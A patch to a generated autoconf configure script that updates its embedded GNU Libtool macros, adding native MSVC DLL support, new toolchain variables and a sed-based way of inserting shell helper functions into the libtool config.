+ lt_prog_compiler_pic_CXX="$lt_prog_compiler_pic_CXX -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_CXX" >&5
+-$as_echo "$lt_prog_compiler_pic_CXX" >&6; }
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic_CXX+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic_CXX=$lt_prog_compiler_pic_CXX
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic_CXX" >&5
++$as_echo "$lt_cv_prog_compiler_pic_CXX" >&6; }
++lt_prog_compiler_pic_CXX=$lt_cv_prog_compiler_pic_CXX
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -13729,6 +14492,8 @@ fi
+
+
+
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -13906,6 +14671,7 @@ fi
+ $as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
+
+ export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms_CXX='_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'
+ case $host_os in
+ aix[4-9]*)
+ # If we're using GNU nm, then we don't want the "-C" option.
+@@ -13920,15 +14686,20 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
+ ;;
+ pw32*)
+ export_symbols_cmds_CXX="$ltdll_cmds"
+- ;;
++ ;;
+ cygwin* | mingw* | cegcc*)
+- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;/^.*[ ]__nm__/s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
+- ;;
++ case $cc_basename in
++ cl*) ;;
++ *)
++ export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms_CXX='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
++ ;;
++ esac
++ ;;
+ *)
+ export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
+- ;;
++ ;;
+ esac
+- exclude_expsyms_CXX='_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'
+
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_CXX" >&5
+ $as_echo "$ld_shlibs_CXX" >&6; }
+@@ -14191,8 +14962,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -14224,13 +14996,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -14770,6 +15600,7 @@ fi
+ fi # test -n "$compiler"
+
+ CC=$lt_save_CC
++ CFLAGS=$lt_save_CFLAGS
+ LDCXX=$LD
+ LD=$lt_save_LD
+ GCC=$lt_save_GCC
+@@ -17830,13 +18661,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -17851,14 +18689,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -17891,12 +18732,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -17935,8 +18776,8 @@ old_archive_cmds_CXX='`$ECHO "$old_archive_cmds_CXX" | $SED "$delay_single_quote
+ compiler_CXX='`$ECHO "$compiler_CXX" | $SED "$delay_single_quote_subst"`'
+ GCC_CXX='`$ECHO "$GCC_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag_CXX='`$ECHO "$lt_prog_compiler_no_builtin_flag_CXX" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl_CXX='`$ECHO "$lt_prog_compiler_wl_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic_CXX='`$ECHO "$lt_prog_compiler_pic_CXX" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl_CXX='`$ECHO "$lt_prog_compiler_wl_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static_CXX='`$ECHO "$lt_prog_compiler_static_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o_CXX='`$ECHO "$lt_cv_prog_compiler_c_o_CXX" | $SED "$delay_single_quote_subst"`'
+ archive_cmds_need_lc_CXX='`$ECHO "$archive_cmds_need_lc_CXX" | $SED "$delay_single_quote_subst"`'
+@@ -17963,12 +18804,12 @@ hardcode_shlibpath_var_CXX='`$ECHO "$hardcode_shlibpath_var_CXX" | $SED "$delay_
+ hardcode_automatic_CXX='`$ECHO "$hardcode_automatic_CXX" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath_CXX='`$ECHO "$inherit_rpath_CXX" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs_CXX='`$ECHO "$link_all_deplibs_CXX" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path_CXX='`$ECHO "$fix_srcfile_path_CXX" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols_CXX='`$ECHO "$always_export_symbols_CXX" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds_CXX='`$ECHO "$export_symbols_cmds_CXX" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms_CXX='`$ECHO "$exclude_expsyms_CXX" | $SED "$delay_single_quote_subst"`'
+ include_expsyms_CXX='`$ECHO "$include_expsyms_CXX" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds_CXX='`$ECHO "$prelink_cmds_CXX" | $SED "$delay_single_quote_subst"`'
++postlink_cmds_CXX='`$ECHO "$postlink_cmds_CXX" | $SED "$delay_single_quote_subst"`'
+ file_list_spec_CXX='`$ECHO "$file_list_spec_CXX" | $SED "$delay_single_quote_subst"`'
+ hardcode_action_CXX='`$ECHO "$hardcode_action_CXX" | $SED "$delay_single_quote_subst"`'
+ compiler_lib_search_dirs_CXX='`$ECHO "$compiler_lib_search_dirs_CXX" | $SED "$delay_single_quote_subst"`'
+@@ -18006,8 +18847,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -18017,12 +18863,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -18038,7 +18886,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -18060,8 +18907,8 @@ LD_CXX \
+ reload_flag_CXX \
+ compiler_CXX \
+ lt_prog_compiler_no_builtin_flag_CXX \
+-lt_prog_compiler_wl_CXX \
+ lt_prog_compiler_pic_CXX \
++lt_prog_compiler_wl_CXX \
+ lt_prog_compiler_static_CXX \
+ lt_cv_prog_compiler_c_o_CXX \
+ export_dynamic_flag_spec_CXX \
+@@ -18073,7 +18920,6 @@ no_undefined_flag_CXX \
+ hardcode_libdir_flag_spec_CXX \
+ hardcode_libdir_flag_spec_ld_CXX \
+ hardcode_libdir_separator_CXX \
+-fix_srcfile_path_CXX \
+ exclude_expsyms_CXX \
+ include_expsyms_CXX \
+ file_list_spec_CXX \
+@@ -18107,6 +18953,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -18121,7 +18968,8 @@ archive_expsym_cmds_CXX \
+ module_cmds_CXX \
+ module_expsym_cmds_CXX \
+ export_symbols_cmds_CXX \
+-prelink_cmds_CXX; do
++prelink_cmds_CXX \
++postlink_cmds_CXX; do
+ case \`eval \\\\\$ECHO \\\\""\\\\\$\$var"\\\\"\` in
+ *[\\\\\\\`\\"\\\$]*)
+ eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"\\\$\$var\\" | \\\$SED -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\""
+@@ -18886,7 +19734,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -18989,19 +19838,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -19031,6 +19903,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -19040,6 +19918,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -19154,12 +20035,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -19246,9 +20127,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -19264,6 +20142,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -19310,210 +20191,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
